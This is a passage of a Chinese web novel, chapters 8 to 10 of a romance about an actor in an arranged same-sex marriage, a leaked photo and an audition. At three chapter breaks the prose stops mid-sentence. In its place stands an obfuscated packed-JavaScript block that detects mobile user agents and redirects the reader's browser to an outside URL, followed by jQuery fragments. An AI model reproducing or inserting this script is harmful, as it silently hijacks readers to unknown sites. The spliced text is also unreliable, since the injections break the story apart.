镜子里的人满脸都是水迹,红透的皮肤在冷水的刺激下逐渐褪色,没吹干的头发又一次被打湿,吹头发是件非常麻烦的事情,怀栖一向很讨厌。
这么久才见一次,贺崤胡说八道的本事怎么又长进了?
什么给不给他机会……什么有钱不行有人倒是可以……要不是知道贺崤那张成熟内敛的面皮下面到底是个怎么不靠谱的里子,他都要以为贺崤那些话是在撩自己了。
但想想都不可能。
贺崤单纯地就是在乱说而已……他又不是不知道自己不可能进他的电影。
怀栖刚进娱乐圈的时候就向家里表明过,这只是单纯的兴趣爱好,他不缺钱,也不需要名气,只是想安安静静演戏,所以不管以后演成什么样,也不会需要任何家里的投资,当然这个家里也包括贺崤这个早就在娱乐圈拥有自己一席之地的人。
贺崤手里的好资源自然是多,只不过怀栖不缺资源,缺的是像贺崤那样的演技。
给他一个角色,还不如教他演戏来得实在。
拿着吹风机举了好一会儿,怀栖才把这件事抛到脑后。
出来的时候,落在沙发上的手机正好响了几声。
是贺崤爷爷的电话。
怀栖从小到大就是长辈最喜欢的小孩儿类型,生长在富贵家庭被惯着长大却没有大少爷脾气,也不像其他富二代似的游手好闲还爱乱花钱,尤其是在家中长辈面前乖巧听话,长得又好看。
就连贺崤爷爷那样严厉的人都喜欢跟他聊天。
电话一接通,怀栖就率先笑着喊了声爷爷,对面的老人立马笑了起来,关心了几句怀栖的身体状况,吃得怎么样睡得怎么样,怀栖一一乖乖答了,最后才进入正题。
老人依然关切地问:“贺崤那小子最近有没有回家?”
虽然婚后跟贺崤见面的次数寥寥无几,住也不住在一起睡也不睡在一起,因为贺崤工作繁忙,就连双方长辈都知道他们面都见不了几次,但在长辈面前,怀栖从来不会将他俩毫无感情可言的婚姻事实摆出来,有需要的时候,甚至还能伪装出一副恩爱有加的样子。
不过碍于还没有机会实施后面这一项,怀栖也不知道自己到底能不能和贺崤演出那副模样来。
但隔着手机,他还是能扭曲事实,乖乖应了几声,“最近他天天回家。”
“胡说,你就别替他说话了,就他那性子,乐意回家就不错了,搞得好像家是什么有毒的地方一样,结婚之前不乐意回,现在结了婚还一天天的在外面野!老拿工作当借口!都怪我们没在他年轻的时候教好他,现在年纪大了想管都管不了他!”
贺崤爷爷严肃批评了贺崤,怀栖却听得心虚。
如果自己没猜错的话,贺崤这回可能是想在家住的,但被自己以怕被拍到的名义不准他再回来。
不过怀栖绝不会把这样的事实说出来。
像贺家和怀栖家中这样的资产阶级其实都隐隐知道两家联姻的消息,但由于怀栖几乎没出现在过他们的视野,怀栖家中常年抛头露面的又是怀栖的姐姐商瑜,他们也只是隐隐知道他们两家联姻了而已,并不知道贺崤的联姻对象是怀栖这个没有一点名气的小演员。
为了保护怀栖,两家人也并没有大肆宣扬这件事。
也算是无意间帮助了怀栖想要隐瞒自己和贺崤结婚的做法。
但他们并不知道怀栖连家都不让贺崤回。
纠结了一会儿,怀栖难得替贺崤说了几句好话,说贺崤工作忙工作特殊,跑来跑去也很忙之类,说得他自己都快信了。
也不知道老人有没有听进去,听完光哼了声,“也就你最听话,那他最近有没有联系你?”
这倒是有。
不需要再说谎,怀栖连心理负担都轻了许多,还把贺崤送礼物赔礼道歉的事情加工减料成单纯地给他送礼物,美化得两人好像真的关系和睦融洽似的。
老人这回才满意地嗯了声,“不枉费我天天催他,结婚了就该有结婚的样子。”
贺崤早年就向家中出柜,那时候同性婚姻还没合法,虽然上头还有贺谦顶着,但对这样的大家族来说,这种性取向确实很难被接受,尤其是贺老爷子这样古板的人。
不过贺崤依然我行我素,也完全不在意家里是否支持,他早就进圈演戏,哪怕不靠着家里,赚的钱都足够养活自己。
后来同性婚姻开始合法,贺谦也已经结婚,贺家就开始急贺崤的婚事,像他们这样的大家族,没有自由恋爱这一说,婚姻捆绑着利益,就算抛开利益,也不可能找个不同阶层的人结婚。
然而贺崤性子不羁,过了三十岁都还在拒绝那些由家里挑出来的结婚对象,一直到怀栖的出现。
也不知道他是年纪到了收了性子,还是因为别的什么原因。
但结了婚也没好到哪去,怀栖年纪又小,贺家一度认为和贺崤结婚是委屈他,因此贺老爷子没少对贺崤耳提面命。
不过贺老爷子这话听在怀栖耳中又有了别的解读。
天天催他?
难怪贺崤最近联系自己这么频繁……他还以为贺崤是犯了什么毛病。
原来是被家里催了。
他和贺崤的塑料婚姻实在用不上这样频繁的联系,前面两年多的时间都这么过来了,现在还用得着这种没什么用的联系吗?
怀栖当然也不会当着老人的面拒绝这样的好意。
毕竟婚姻是一辈子的事情,如果没有什么意外,他跟贺崤是无法离婚的。
怀栖早就做好两人各过各的准备,除去不允许双方在外面有别人,其他方面跟单身也没什么区别。
心底冒出来莫名的烦闷,怀栖戳了戳手机屏幕,戳开和贺崤的聊天框。
最后一条消息是半个多小时前结束视频通话的通知。
半晌,怀栖关掉对话框。
反正今天贺崤爷爷已经联系过自己,知道贺崤听了他的话,之后应该不会再继续盯着贺崤。
贺崤那么忙,哪来那么多时间天天完成任务一样烦他?
他不嫌烦,估计贺崤自己都受不了。
和怀栖预料的一样,之后的一段时间,贺崤都没再联系过他。
“所以……他就没再找过你?”庄望咬着吸管说话含含糊糊,“怎么跟个渣男似的,那你俩上床不会也是这样吧?老爷子打个电话催一次你俩睡一次,跟完成任务似的。”
坐在他对面的怀栖:“……”怀栖眼皮动了动:“你能别用你那张娃娃脸讲这种事情吗?”
庄望和怀栖同龄,不过因为长了张娃娃脸,看起来却比怀栖年纪小了点,但庄望也是出了名的表里不一,顶着一张能被人认成高中生的脸,干的事却没一件让人省心。
今天怀栖跟他出来吃饭也是因为庄望前几天跟人把别人的场子砸了,怕被他哥责罚,庄望直接找了个跟怀栖出来吃饭的理由,逃了。
在他们几个一起长大的人里,怀栖简直就是张免死金牌。
从小到大品学兼优,又家大业大,哪家长辈不希望孩子跟他交好。
庄望唔了声,“我讲的不是事实吗,你要是女生,估计早就被催着三年抱俩了吧……不过,你俩是不是没睡过?”
作为少有的知情人士,就庄望知道的两人见面的次数一只手都能数得过来。
怀栖:“……”
别说睡,他和贺崤至今连一张床都没躺过。
“你找我出来就是为了聊他?”怀栖语气没怎么变,但庄望很明显听出了他的不悦。
下一部戏的试镜时间已经定下,怀栖最近都在上表演课,表演课的成果依然让他自己很不满意,怀栖本来心情就不算很好,提起贺崤这个又完全失联的人,当然心情更加不好。
庄望连忙捂住自己的嘴,又指了指手机:“快看快看!人果然不能干坏事!迟早会遭报应!”
“这话从你嘴里说出来我很担心你的人身安危。”怀栖低头看着手机思考了一下,“要不你最近还是回家待着安全点吧?至少你哥不会把你打死。”
庄望:“……”
他就知道怀栖虽然看起来完全是个好孩子,背地里偶尔也会干这种嘴巴抹毒药的事。
庄望的手机界面停留在微博热搜,怀栖第一眼就看见了挂在热搜第一的他之前那部剧被爆出停止拍摄的事情,男女主也算是小有名气,之前就为了这剧的番位争得腥风血雨,现在这事一出,两家粉丝更是闹得不可开交,在战争之中夹着难得的统一,将矛头全都对准了剧组。
在这夹缝中,还有人提了一嘴中途被换走的怀栖,问他是不是提前知道了什么内幕。
不过因为怀栖糊得无路人知晓,压根没人搭理。
说实话怀栖都已经快忘了这件事。
看来卢乐也没能继续投资下去?
怀栖的本意也不是想要搞垮这部剧,贺崤做事确实果决,但做都做了,他也不想当什么救世主让剧组起死回生,再说,这些演员都是签了合同的,就算剧拍不下去,钱也都到手了,至于最亏的人,也是最贪心的人。
资本家都是同一个心脏。
但这整件事里,罪魁祸首卢乐却反而完美隐身。
见怀栖低头在思考什么,庄望戳了戳他胳膊,“这件事应该是贺二少干的吧?”
在庄望眼里,怀栖干不出来不给人后路的事。
怀栖也没否认,片刻,他问:“你有公司公关部的联系方式吗?”
庄望以前追过小明星,没少动用过公司资源,给对方买热搜,帮对方找水军炒作。
他点点头。
怀栖:“那帮我找他们发点东西。”
庄望也没问他要发什么,立马给公关部联络人打了个电话,由着怀栖自己去讲。
在怀栖讲的过程,庄望表情逐渐从平静变成了竖起大拇指。
清晰地讲述完要求,电话挂断之后,怀栖看了眼庄望的手机来电,按下接听之后,才还给庄望。
庄望也没看,直接由着他把手机放在自己耳边小声问:“谁啊?”
怀栖笑着:“你哥。”
庄望:“……”
没等庄望说什么,他手机里就传来他哥庄厉的怒吼。
庄望:“……”
庄望立马跟个鹌鹑似的老老实实闭上了嘴。
在他接电话的功夫,怀栖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051710|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经尝了几口新上的菜。
他最近一直都住在宿舍,宿舍附近的外卖点来点去都是那几样,口味单一且算不上美味,又实在不方便让家里阿姨送吃的过来,宿舍楼住了好几个同公司的艺人,来来往往难免会碰上。
问服务员要了店内联系方式回来,就见庄望哭丧着一张脸,“完蛋了我哥说他要亲自过来接我。”
“那我走?”怀栖进公司那么久,一次都没见过庄厉。
庄望连忙拽住他的胳膊眼巴巴装委屈:“不要啊,有你在我哥才不会在这里骂我!你可是我哥公司未来的摇钱树!”
“那你家公司应该快倒闭了。”话虽这样说,怀栖还是重新坐了回来。
庄厉性子冷漠又严格,对唯一的亲弟弟更是如此,庄望都这个年纪了,庄厉还对他又打又骂。,
自己要是走了,保不齐庄望在外面就得哭鼻子。
这家店离公司近,庄厉来得很快,他进来的时候还冷着一张脸,常年身居高位压迫感十足,和贺崤大哥贺谦有的一拼,不过庄厉的长相和贺家两兄弟相比更少了点小说里的霸总味儿。
见怀栖也在,庄厉的表情松动了些,微微朝怀栖颔首示意。
怀栖也乖乖喊了声,“庄厉哥。”
按照年纪和辈分,庄厉比贺崤年轻一岁,又是庄望亲哥,确实得这么称呼他。
不过怀栖虽然跟庄望一起长大,跟庄厉却不算熟,两人也只是打过几个照面而已。
庄厉嗯了声,随后看向还缩在怀栖身后的庄望。
庄望显然都快把怀栖当人形免死金牌用了,死活都不肯从怀栖身后出来。
他不出去,怀栖也没有要让开的意思。
倒也不是不想让,只是庄望死死抓着他衣服压根不让他动,手还抖得厉害。
明显就是怕的。
让怀栖生出点故意让他接他哥电话的愧疚。
但也仅仅只是那么一瞬而已。
庄望这次干的事情确实该被教育。
这次没受伤算他运气好,要是不被教育,下次也不知道会不会出什么事。
庄厉和庄望还在对峙。
“出来!”
“我不!”
两人互相僵持着。
“别逼我在这里动手。”庄厉说着都已经撸起了袖子,还没来得及做点什么,躲在怀栖身后的庄望就哇的一声哭了。
夹在两人中间的怀栖:“……庄厉哥,我跟你们一起走吧。”
庄望现在这状态估计是不可能单独跟他哥走了。
庄厉没立马回答,只是视线在怀栖脸上停留了两秒,又立马挪开,才嗯了声。
像是勉强答应了这件事。
好在庄望还是要点脸的,出去之后就没好意思再哭,就是一直躲在怀栖身后没敢露头。
庄厉从后视镜里看了他好几次,最后也没说什么,倒是看向怀栖,好心提醒:“你口罩没戴。”
随后又重新看向前面,没再往后座多看一眼。
怀栖微微一怔,立马从口袋里摸出口罩戴上。
他虽然没什么名气,但也有几个粉丝,平时出门一直注意着戴口罩帽子,避免被人拍到私人行程。
刚出来的时候顾及着庄望情绪,直接忘了这件事。
但应该没什么事。
反正今天也只是和朋友出门而已。
应该也不会有人那么闲地拍他……吧?
怀栖安抚性地拍了拍庄望的后背。
只听见几声轻微的呼噜声。
怀栖:“?”
扭头一看,庄望直接靠在他肩上睡着了,哪里有刚刚那副怕得要命的样子。
演技比他都好!
亏他还有过一丝愧疚。
怀栖板着脸把庄望从自己肩上推开,由着庄望脑袋嘭一下撞在车门上。
庄望醒了一下,又闭上眼睡着了。
前排的庄厉大概听见了动静,又从后视镜往后看。
后视镜里照出怀栖低头看手机的模样。
戴了口罩也看不见脸,帽檐也直接把他的脸挡住了,但依然能看到男生清瘦的身影。
帽檐下面,怀栖微微皱着眉看着手机上新跳出来的消息。
居然还是来自消失了许久又跟死了一样的贺崤的消息。
贺崤今天又得到爷爷的指令了?
不怎么愉快地皱了皱眉,担心是家里有什么事,怀栖还是第一时间点开了消息。
贺崤:[出门了?]
贺崤:[旁边是我来自影世界的分身吗?怎么看着比我本人矮了一点?]
怀栖:?
没等怀栖说什么,贺崤就又发了张照片过来。
明显是张偷拍,角度刁钻,拍的还是怀栖的正脸和……庄厉的背影?
应该是庄望坐上车之后想把他也拽上车那会儿拍的。
也只有那时候画面里才只剩下他和庄厉两个人。
但……什么影世界的分身……贺崤发什么疯?
贺崤又是哪来的这张照片?
怀栖:[你什么时候改行当狗仔了?]
贺崤跟守着消息似的,回得很快:[狗仔只拍绯闻]
贺崤:[害羞.jpg]
9. 第 9 章
贺崤是不是真有病?
光是看他那个害羞的表情,阴阳怪气得要命,怀栖就有一种不想再理他的冲动。
怀栖自认脾气不差,以往和贺崤相处也算和平,不知道最近几次是为什么,总是很容易被贺崤惹怒。
思来想去,他还是把责任归到贺崤这个表里不一的性格头上。
思考片刻,他选择直接无视贺崤那阴阳怪气的表情,只问:[你从哪里拿到的照片?]
贺崤今天果然很闲,又是秒回:[我去当狗仔了:)]
怀栖:……
怀栖忍无可忍:[贺崤!]
就算隔着屏幕,都能看出怀栖这两个字中透露出来的怒意。
百忙之中抽空出来休息摸鱼的贺崤单手托着下巴,轻轻笑了声。
逗也不能逗得太狠,怀小少爷看着脾气不错,其实是个一点就炸的性子。
这回贺崤老实回答:[从你超话拿的,一开始我还以为我俩出门偷情被拍了,叹气,可惜不是我]
怀栖:“?”
从他的超话?
从事情发生到现在才多久,贺崤这么快就摸到自己的超话并发现了这张照片?他是什么狗吗?还是闲得慌一直盯着自己的超话动态?
怀栖:[什么叫出门偷情被拍?]
这句话又是什么意思?说得好像他干了什么对不起贺崤的事情。
发完这句话,怀栖特意去自己超话看了眼。
果然,五分钟之前,有人在超话po了贺崤发来的这张照片,询问照片上的人是不是他本人。
评论数量不少,一半是几个眼熟的粉丝在认领,一半是在询问旁边身形高大的庄厉是什么人,不过自然是没人知道。
贺崤眼神大抵有问题。
这张照片上,庄厉和他的相似之处,除了性别同为男,就没有别的地方了。
论身形,庄厉虽然身形高大,但因为常年坐办公室,并没有贺崤那身在高强度拍戏中以及平时勤于锻炼的生活习惯下养出来的低体脂完美肌肉的挺拔身姿。
论发型,怀栖记得上次见面,贺崤头发还没庄厉一半长。
论肤色,因为常年在露天场景拍戏,贺崤皮肤呈现健康的小麦色。
论身材比例,贺崤是非常优越的模特比例……
怀栖从来不怀疑自己挑选结婚对象的眼光,只怨自己没有看穿人藏在表皮下面的内里的本事。
刷完微博回来,贺崤的消息也正好跳出来:[他比我拿得出手吗?]
怀栖:……
这浓浓的怨夫气息是怎么回事?
贺崤讲话向来不着边际,但这回联系到之前贺崤问他的那句“我就这么见不得人?”,怀栖莫名琢磨出一点别的意思。
原本的怒气莫名消散了点,怀栖斟酌着问:[你吃醋了?]
贺崤:[是啊]
贺崤回得太果断,怀栖微微一怔。
他也只是胡乱猜测。
他跟贺崤又没有感情基础,贺崤吃哪门子醋?
再说只是一张被偷拍的照片而已,他跟庄厉连站都没站在一起,怎么看都不像是那种关系。
但……就算没有感情基础,他跟贺崤也是合法领证的夫夫,本身就不允许双方出现任何和别人有亲密关系的行为……贺崤真的在意也很正常。
正想解释庄厉身份,贺崤就又发来一句:[所以怀小少爷现在要是说几句好听的哄一哄我,我就把这事儿忘了]
贺崤一边打字,一边看向一旁被他紧急喊进休息室的助理。
见他一副懒散地躺在沙发上,嘴边还噙着似有若无的笑意的模样,本来以为是出了什么大事急匆匆从工作室跑来的助理:“……”
算了,老板不是一直这副看起来一点也不靠谱的样子吗?习惯就好。
助理战术性微笑。
贺崤盯着手机:“把这条微博撤了,任何转发都撤了,相关话题也不允许出现。”
手机发出叮的一声,助理看了眼贺崤发来的微博链接,点开一看。
本来还以为是和老板自己有关的微博,但看起来压根不是,照片上的人似乎是……怀栖?
他是从贺家出来的,跟在贺崤身边已经很多年了,对贺崤和怀栖的事情一清二楚。
斟酌了一会儿,他问:“怀栖少爷知道吗?”
这照片看起来没什么问题,照片上的另一个人看不见脸,但两人应该也没什么关系,怀栖和对方站得那么远,而且仔细看,车里似乎还有另一个人。
而且照片上的怀栖明显是素颜,就算是素颜,还是原相机镜头下,那张脸依然抗打,毫不夸张地说,不管是脸还是形体气质,都能吊打如今圈内一众流量小生。
“知道。”贺崤也不是闲得没事故意找怀栖。
当然虽然也是有点……目光略过照片上怀栖和庄厉站在一块儿的身影,看着莫名令人不爽。
他也不是不认识庄厉。
他跟庄厉当过高中同学,虽然算不上太熟,但也打过不少交道。
不过认出他,纯粹是因为被人忽略的车里的另一个人——庄望,庄望那张只露出一点的娃娃脸确实挺好认。
当初结婚的时候,贺崤也抽时间了解了一下怀栖的交际圈,当然也只是粗略了解了一下而已。
不过他还没小心眼到这个程度。
撤微博是因为别的。
怀栖的手腕上戴着一块眼熟的表。
能不眼熟吗?
这块表是贺崤托人卡点去拍下的,全球也就那么几块。
怀栖的喜好不多,当初别墅装修的时候就能看出来,专门搞了一间手表陈列室和赛车模型房,就差没把“我喜欢这两样东西”刻在脑门上了。
手表本来打算拿来当怀栖的生日礼物,两人结婚两年多,虽然貌合神离,但逢年过节的表面功夫也没少做,免得被家里叨叨。
只不过上回怀小少爷看起来对他极度不满,贺崤就提前把表送了出去。
反正迟早这表要到怀栖手里,至于生日礼物,他另找就行。
就是前两年的礼物都是贺崤托人买的其他东西,今年买手表只是碰巧。
但现在看来,小少爷确实很喜欢。
连出门都戴在手上。
这种限量版的东西,普通人不一定能认出来,怀栖粉丝体量小,关注点又都在他人身上,但保不齐会被有心人挖出点什么。
到时候出了什么事,小少爷估计又要朝他发脾气,怪到他头上——虽然也只是假设,光想想怀栖发脾气那个样子,贺崤突然有点心痒。
不过还是不冒这个险了,免得扰了怀小少爷想默默无闻演戏的道路。
助理没再多问什么,既然怀栖知道,要是之后出什么事,应该也怪不到他们头上来。
得到工作吩咐,助理刚准备离开,却又被贺崤突然叫住。
“老板?”助理一边给工作室的人发布工作,一边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051711|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疑惑。
贺崤嗯了声,低着头打字,嘴上问:“卢乐的事情办得如何了?”
“就等他们那边有动作了。”助理说着突然想起来,“对了,就在我过来之前,网上出现了一些关于他带资进组的消息,应该是有人知道内幕买通了营销号,还有一些关于他靠卖身上位的传闻。”
卢乐的公关非常会来事,除了之前角色换人的时候踩怀栖的那些通稿,就没再有过其他消息。
这回这些通稿爆得突然,很明显有人暗中要搞卢乐。
贺崤微微挑眉,隐隐猜到什么,但也没和助理多说。
只是在助理离开之后,轻笑着看着手机,“报复心还挺强。”
确实和猫没什么区别。
就是还是奶猫,不会伸爪子。
那头,怀栖已经被庄厉开车送到了公司宿舍楼下。
原本打算陪着庄望回家,现在庄望已经睡着,摆明了刚刚那样就是怕庄厉对他太狠了装的,也就没必要继续跟着他回家。
临下车前,怀栖突然打了个喷嚏。
摸了摸发痒的鼻子,刚打开车门,一直没说话的庄厉突然出声询问,“宿舍住得还习惯吗?”
“还可以。”怀栖回答得中规中矩,其实是压根没料到庄厉会突然问这个。
庄厉是他老板,又是庄望他哥,按道理应该给自己一点优待,但当初进公司的时候怀栖就让庄望转达过自己不需要优待的意思,因此怀栖得到的待遇也和公司其他同等级艺人一样,住的宿舍也是。
住惯了大房子,一开始怀栖根本住不惯这种小公寓。
当然现在也差不多,只能勉强当个工作睡觉的地方。
不过这种话他也不会跟庄厉这样不熟的人聊。
怀栖对待人一向非常有分寸,熟和不熟分得很清楚。
庄厉似乎也没打算深聊这个话题,只嗯了声,“有什么工作问题可以找我。”
怀栖也只当他是客气,也客气地应了声谢谢。
下车的时候,庄厉又看着他,补充了一句:“庄望的事情多谢。”
关门的动作顿了顿,怀栖看向睡得东倒西歪的庄望,不管什么动静都没醒,也不知道到底是真睡着了还是假的。
片刻,怀栖还是说:“庄厉哥,有时间可以和庄望好好聊聊。”
他说完就关上了车门。
他们兄弟之间怎么相处是他们的事情,但庄望毕竟是自己好朋友。
回到公寓,怀栖才又打开自己一直没回复的和贺崤的聊天框。
现在都还停留在贺崤那句“说几句好听的哄一哄我”上面。
想都不用想,贺崤又开始满嘴跑火车。
这人嘴里吐不出几句真心实意的话,怀栖一点也不想理他。
有什么好哄的?
三十多岁的人了,把自己当十几岁的小孩儿吗?简直是为老不尊的代言人。
给自己泡了袋感冒冲剂,怀栖戳着屏幕,[贺叔叔把自己当学龄前儿童还需要人哄?]
他很少这么跟人聊天,向来对谁都礼貌有佳。
但在贺崤面前真的很容易破功。
都这么久过去了,贺崤居然还是秒回:[新的叔侄玩法?听起来好像还不错,如果当面这么喊我,我会更高兴]
怀栖:……
怀栖耳根骤然一红。
贺崤在说什么鬼东西?!
什么当面喊……他这是被贺崤……调戏了?
10. 第 10 章
大概是被庄望传染了,怀栖骤然想起庄望说的关于跟贺崤上床的话题,他就不信贺崤这个比自己大了那么多的成年人,说什么什么玩法的时候,脑子里没带点别的意思!
扣了个问号过去,怀栖忍不住噼里啪啦打字:[喝多了就去对着墙发酒疯]
贺崤才眯了没几分钟,见到这条消息笑了声,[忘了说,叔侄玩法单纯指的称呼]
怀栖:“……”
所以还是他误会了?
怎么看贺崤这语气都不像是自己误会了什么。
结果下一秒贺崤就又说:“不过合法夫夫之间玩点情趣也挺正常是吧,怀小少爷想玩,我也能全力配合。”
贺崤发的语音,声音里含着显而易见的笑,听得让人恼火又耳热。
怀栖:。
戳开那条语音又听了一遍,怀栖干脆利落把手机扔在一旁打算眼不见为净。
去浴室转了一圈回来,片刻后,怀栖又拿出手机,直接按下语音键,慢吞吞一字一字着重说道:“照片上的人是庄厉,车上还有庄望在,我只是和庄望出门吃顿饭,恰好他哥来接人。”
这种事还是要讲清楚,免得贺崤真的误会什么。
怀栖并不喜欢被人误解。
至于贺崤说的其他话,他选择当看不见。
反正贺崤这样不着边际也不是第一回。
只不过最近确实有点变本加厉,大概是被爷爷逼的。
就算是听爷爷的话频繁联系自己,也没必要做到这个份上。
想到这个,怀栖心里多了几分烦躁,也不知道是因为贺崤的频繁联系,还是因为贺崤的频繁联系是被家里催的。
既然没什么感情,也没必要硬去培养感情。
继续各过各的生活不好吗?
许久,怀栖又补充了一句:“没必要因为爷爷的话一直联系我,爷爷那边我会帮你说话。”
消息一直没得到回复,导致怀栖睡觉的时候都因为这事隐隐有点不悦。
但他又不能跑去贺老爷子面前说不要再去逼贺崤,长辈也是为了他们好,虽然这对他和贺崤的塑料婚姻并没有任何帮助。
大概是心情不悦,这晚怀栖睡得极其不舒服,第二天早早醒来,发现自己不知道什么时候硌到了腰。
宿舍的条件简陋,怀栖住了这么久,也只是换了床垫而已,就算换了,还是比不上家里的床。
不过他已经很久没有睡得这么不舒服的时候了。
重新打电话给店里要了张更贵的床垫,怀栖洗漱完出来就接到了闻华的电话。
他今天要去试镜,闻华正好没有别的工作,亲自陪着他去。
担心怀栖没吃东西,闻华还特意带了早餐过来,是他亲手做的包子,味道不错,但只让怀栖吃一个。
艺人为了上镜都需要保持身材,也不能水肿,怀栖已经过了休息的时间,自然要控制饮食。
对此怀栖也没有什么异议。
在这些方面他向来很听话,不像闻华手下的其他某些人,总喜欢干一些阳奉阴违的事,连自己的嘴都管不住,更别说管住别的地方了。
要是都是怀栖这么听话的就好了。
闻华默默在心里叹气。
怀栖不知道他在想什么,只是随手点开了自己的超话。
不知道为什么,大概是因为这段时间从贺崤那儿看多了自己超话的事情。
不过昨天那条被顶到最上面的帖子却不见了。
往下刷了刷,确认帖子确确实实不存在了,广场上也没有自己那张被偷拍的照片,怀栖才困惑地问闻华:“闻华哥,被偷拍的帖子是你让人删的吗?”
正在开车的闻华头皮一紧:“偷拍?你被偷拍了?什么时候?我怎么不知道?!”
幸亏是红灯,车还停着。
闻华这反应看着完全不知道这件事。
想想也是,撤内容需要钱,公司是不太可能花太多钱在他这样的小明星身上的。
那……难道又是贺崤?
贺崤就这么在意这张照片?
昨晚发出去的消息至今没得到回复,也不知道是贺崤根本没看见,还是完成任务之后就不想再搭理他。
莫名其妙产生了一点心理落差,怀栖直接删掉了原本打算问这事是不是贺崤干的几个字。
按掉手机,在闻华担忧的眼神中,怀栖将昨天被拍的事情简略跟闻华报备了一下,不过将庄厉的身份说成了只是朋友的哥哥。
也幸亏闻华没看见那张照片,否则也不知道他会不会认出照片上的人是他们公司的老板。
闻言,闻华松了口气,“那就好,估计是对方自己删的。”
也是。
贺崤应该不会真的闲成这样,多半是发帖人自己删了。
最近跟贺崤联系过多,居然什么事都开始第一时间往贺崤身上套。
这不是什么好兆头。
怀栖并不喜欢这种感觉。
在闻华又叮嘱了几句出门在外要小心之后,怀栖将注意力全都放到了剧本上。
他这回要试镜的角色是一部仙侠剧中反派大魔头身边一个资质平平却作恶多端的小炮灰,出场戏份台词就算在剧本中都只有一页纸不到,等真的播出不知道能不能留下几个镜头。
但就算如此,编剧给予这个角色的灵魂却十分丰富。
这个小炮灰在剧中没名没姓,编剧却在剧本中给了他一份完整的人生,年幼时因为没有资质而被逐出家中,原本想要拜入仙门却被仙门拒绝,在失去信心想要结束生命的时候遇上了魔界的人,即使魔界的人也只是为了扩充自己的势力,并不是看中他这个人,小炮灰也依然尽职尽忠,直到自己死的那一刻。
这个角色虽然非常边缘化,戏份寥寥无几,只是重多小弟之中的一员,却一点也不扁平。
在做坏事的时候他也会纠结,会设想如果自己有资质的话是否就不用当这样十恶不赦的坏人,即使在死的时候,他看向的也是那些受人尊敬资质不凡的名门正派。
这样丰富的角色,对怀栖来说是个很大的挑战。
而且……就这么一个小角色,竞争居然不小,不过来试镜的都是一些连脸都记不住的小演员。
怀栖戴着口罩帽子在一群人中间也不算突兀,闻华还在旁边鼓励他让他不要紧张。
怀栖确实有点紧张。
剧本早就背熟了,但他讲台词和背书没区别,就连表情都做不到生动。
怀栖在心底默默叹气。
到底为什么有人能那么自然地去演出另一个人的人生?
比如……贺崤。
为了演好剧,怀栖还特意研究过贺崤的电影,当然没能学到什么,反而被吸引,连着看了好几天,把他的电影全看完了。
进去之前,有人从门口进来,戴着帽子墨镜,身边还跟了两个助理,硬生生从一群人中间挤出来一条路,仿佛什么大明星出街。
看见来人,闻华下意识将怀栖挡在自己身后。
对方经过的时候,怀栖才发现这人是卢乐。
但卢乐的目标似乎并不是他这。
怀栖进去的时间不久。
试镜的流程和以往一样,演一段指定剧情而已,具体结果还是要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051712|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等通知。
出来之后,闻华关心了几句试镜情况,才凑在怀栖耳边悄悄说:“我打听过了,卢乐是来试男二的。”
这边来试镜的人很多,这剧很多角色都没定。
闻华说着有点担心,“不出意外的话,这个男二的角色估计就是他的了。”
卢乐的靠山明显还在。
闻华也不是没看见这两天网上的舆论,也不知道是谁跟卢乐过不去,买了那么多通稿揭露卢乐干过的事情,不过卢乐这种性子应该得罪了不少人,尤其是现在有了靠山之后,听说还抢了别人的代言。
但舆论是一回事,网民痛恨他这种上位方式又没用,更何况也没有拍到任何实质性内容,再者随着资源越来越好,卢乐粉丝也越来越多,维护他的人更多,他还是继续风生水起。
“实在不行……这个角色……”闻华说着看了看怀栖的脸色。
要真进了一个剧组,指不定卢乐会干出什么事来。
到时候怀栖没靠山又孤身一人的,哪里敌得过他?
怀栖脸色果然不怎么好看。
失去这个角色意味着怀栖这段时间的努力都白费了。
闻华心疼地开始搜索附近的美食。
根本不知道闻华在想什么的怀栖一直沉默到了车上,等四周没人了,他才如梦初醒般开口:“闻华哥,之前你说的,卢乐进贺崤电影的事情,可靠吗?”他已经忘了这件事,今天再见到卢乐,才突然想起来。
贺崤似乎至今没处理这事,也不知道是真的要把人放进去,还是压根没有这回事。
刚戳开看店铺评价的闻华啊了声,“可靠,其实我那天是偷听到卢乐经纪人跟人打电话说的,也不知道是跟谁,但从他嘴里说出来的,十有八九是定了。”
看着依然没有任何回复的聊天界面,怀栖原本放松下来的心绪顿时更烦躁了。
贺崤这人,似乎只有他想找自己的才会出现。
而自己找他,他就跟消失了一样,跟死了一样。
连个消息都不舍得回复。
就这样还要他们培养什么感情。
有什么好培养的?
事情都过去这么久了也没处理。
看来贺崤也确实是要把人放进组。
